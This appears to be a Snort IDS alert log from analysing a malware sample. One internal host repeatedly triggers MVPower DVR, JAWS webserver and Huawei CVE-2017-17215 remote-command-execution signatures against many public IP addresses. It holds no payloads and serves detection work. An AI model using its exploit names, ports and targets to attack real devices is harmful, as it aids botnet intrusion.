Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42372 -> 104.83.91.41:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44286 -> 170.130.22.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36228 -> 98.123.179.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53794 -> 50.199.186.25:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44286 -> 170.130.22.254:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51342 -> 84.247.28.155:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48182 -> 87.255.233.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46650 -> 206.238.103.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59390 -> 47.90.200.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53794 -> 50.199.186.25:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36228 -> 98.123.179.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48916 -> 23.214.139.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50494 -> 104.82.158.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59390 -> 47.90.200.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47048 -> 89.31.76.45:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51342 -> 84.247.28.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48182 -> 87.255.233.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58250 -> 152.67.216.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46650 -> 206.238.103.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52608 -> 206.233.253.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48916 -> 23.214.139.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59592 -> 158.94.0.206:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50494 -> 104.82.158.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36038 -> 23.12.99.171:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47048 -> 89.31.76.45:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34712 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56714 -> 13.244.84.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59818 -> 202.75.28.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58250 -> 152.67.216.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59592 -> 158.94.0.206:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36038 -> 23.12.99.171:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52608 -> 206.233.253.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34712 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56714 -> 13.244.84.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59818 -> 202.75.28.175:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51010 -> 156.247.27.15:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51010 -> 156.247.27.15:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40870 -> 96.67.179.1:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33052 -> 31.30.58.133:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56368 -> 185.179.157.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36382 -> 154.46.166.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44342 -> 169.53.132.234:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40870 -> 96.67.179.1:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37678 -> 2.135.71.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60000 -> 195.62.126.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33052 -> 31.30.58.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56368 -> 185.179.157.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49306 -> 200.159.177.31:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36382 -> 154.46.166.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60000 -> 195.62.126.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37678 -> 2.135.71.176:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49306 -> 200.159.177.31:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58096 -> 62.254.208.10:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60130 -> 150.60.155.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47120 -> 188.128.206.168:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46624 -> 104.105.18.182:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33136 -> 154.92.226.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56586 -> 191.96.205.194:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56392 -> 23.204.125.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40936 -> 38.132.215.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56586 -> 191.96.205.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47120 -> 188.128.206.168:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33176 -> 99.16.143.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40936 -> 38.132.215.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33136 -> 154.92.226.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33176 -> 99.16.143.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50616 -> 104.111.199.195:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37612 -> 23.208.169.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55714 -> 45.66.79.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56392 -> 23.204.125.106:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55714 -> 45.66.79.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50616 -> 104.111.199.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37612 -> 23.208.169.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56446 -> 23.204.125.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41682 -> 157.245.212.163:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38990 -> 173.246.114.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51466 -> 34.225.232.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41682 -> 157.245.212.163:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47170 -> 103.39.16.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49346 -> 13.55.87.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56446 -> 23.204.125.106:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38990 -> 173.246.114.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51466 -> 34.225.232.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58096 -> 62.254.208.10:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60130 -> 150.60.155.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47170 -> 103.39.16.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49346 -> 13.55.87.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46624 -> 104.105.18.182:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39512 -> 156.235.98.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39512 -> 156.235.98.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48376 -> 156.253.36.6:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48376 -> 156.253.36.6:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33044 -> 20.94.161.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48452 -> 173.255.250.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40002 -> 52.222.57.83:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35188 -> 62.202.156.241:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33044 -> 20.94.161.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52908 -> 91.194.11.191:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48452 -> 173.255.250.61:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40002 -> 52.222.57.83:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35188 -> 62.202.156.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46628 -> 172.245.174.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52908 -> 91.194.11.191:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57882 -> 50.19.25.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48736 -> 193.233.164.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56304 -> 23.198.222.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37694 -> 85.221.227.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46628 -> 172.245.174.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57882 -> 50.19.25.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50126 -> 37.32.125.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58488 -> 89.116.58.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48736 -> 193.233.164.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40724 -> 23.77.132.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56304 -> 23.198.222.192:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37694 -> 85.221.227.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50126 -> 37.32.125.61:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58488 -> 89.116.58.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40724 -> 23.77.132.177:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47340 -> 186.132.17.223:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35930 -> 106.14.41.174:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36660 -> 91.242.215.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45228 -> 103.204.176.205:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47340 -> 186.132.17.223:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35930 -> 106.14.41.174:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36660 -> 91.242.215.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55282 -> 69.80.206.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41366 -> 201.229.167.159:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60268 -> 82.165.119.133:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59548 -> 91.200.67.110:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45228 -> 103.204.176.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34468 -> 213.29.227.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58798 -> 54.199.121.170:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56372 -> 185.110.26.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55282 -> 69.80.206.87:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41366 -> 201.229.167.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60268 -> 82.165.119.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59548 -> 91.200.67.110:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46528 -> 103.141.149.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58798 -> 54.199.121.170:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56372 -> 185.110.26.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34468 -> 213.29.227.250:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46528 -> 103.141.149.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46902 -> 205.164.12.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60554 -> 94.237.51.52:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32958 -> 2.136.180.91:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46902 -> 205.164.12.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60554 -> 94.237.51.52:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32958 -> 2.136.180.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44040 -> 13.249.87.54:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33056 -> 167.73.14.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49862 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37480 -> 50.87.38.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43978 -> 20.72.240.212:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33828 -> 212.109.194.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37480 -> 50.87.38.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47210 -> 218.35.171.230:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54220 -> 173.224.201.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49862 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43978 -> 20.72.240.212:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46658 -> 199.232.239.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38188 -> 170.61.215.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54220 -> 173.224.201.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37476 -> 82.163.53.15:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46658 -> 199.232.239.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51516 -> 217.160.215.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58620 -> 212.40.8.187:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45582 -> 142.58.40.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54798 -> 71.80.219.15:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52998 -> 54.150.52.140:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45770 -> 185.204.186.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33828 -> 212.109.194.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59160 -> 85.50.165.37:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51852 -> 23.231.150.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44126 -> 18.167.130.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47210 -> 218.35.171.230:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42208 -> 46.101.108.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54798 -> 71.80.219.15:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41088 -> 87.123.31.165:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40470 -> 202.238.204.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37476 -> 82.163.53.15:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36010 -> 104.113.198.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51516 -> 217.160.215.205:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58620 -> 212.40.8.187:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52998 -> 54.150.52.140:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45770 -> 185.204.186.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38786 -> 18.142.2.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59160 -> 85.50.165.37:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48988 -> 2.182.153.62:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42208 -> 46.101.108.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41088 -> 87.123.31.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51852 -> 23.231.150.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44126 -> 18.167.130.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40470 -> 202.238.204.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36010 -> 104.113.198.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44040 -> 13.249.87.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38786 -> 18.142.2.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48988 -> 2.182.153.62:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35444 -> 45.63.78.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49976 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35444 -> 45.63.78.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51014 -> 172.121.20.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49976 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51014 -> 172.121.20.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59060 -> 23.231.34.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48982 -> 205.186.128.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59862 -> 34.216.109.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59060 -> 23.231.34.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38972 -> 34.107.164.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36874 -> 147.161.173.4:80
